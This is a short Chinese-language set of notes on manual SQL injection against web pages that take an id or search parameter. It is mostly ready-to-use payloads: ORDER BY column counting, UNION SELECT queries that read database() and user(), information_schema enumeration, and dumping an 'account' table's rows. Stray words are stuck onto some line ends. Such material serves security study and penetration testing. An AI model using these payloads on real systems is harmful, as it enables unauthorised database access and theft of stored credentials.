and 1=1,and 1=2
order by 語句用於根據指定的列對結果集進行排序sql
order by後能夠加列名,也能夠加數字(表明第幾列)數據庫
id = 1 order by 3(數字) //返回正常 id = 1 order by 4(數字) //返回異常 //說明字段長爲3
id= -1 union select 1,2,3
id =-1 union select 1,database(),user()
id= -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='account'
id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'
id= -1 union select 1,group_concat(id,'--',title,'--',content),3 from news limit 0,1
id= -1 union select 1,group_concat(Id,'--',rest,'--',own),3 from account limit 0,1
1' or '1'='1 //返回正常 1' or '1'='2 //返回異常
1' order by 3# //返回正常 1' order by 4# //返回異常
//注意#號用途:#起註釋做用,會註釋掉後面的' 單行註釋還可用-- (--後面需加一個空格)測試
//注意後面的SQL查詢語句末尾都得加一個#rest
首先判斷注入點code
1%' or 1=1# 1%' or 1=2#
下面就和前面數字型步驟同樣,帶入查詢語句便可orm
1%' union select 1,database(),user()# //好比這裏查詢數據庫名和用戶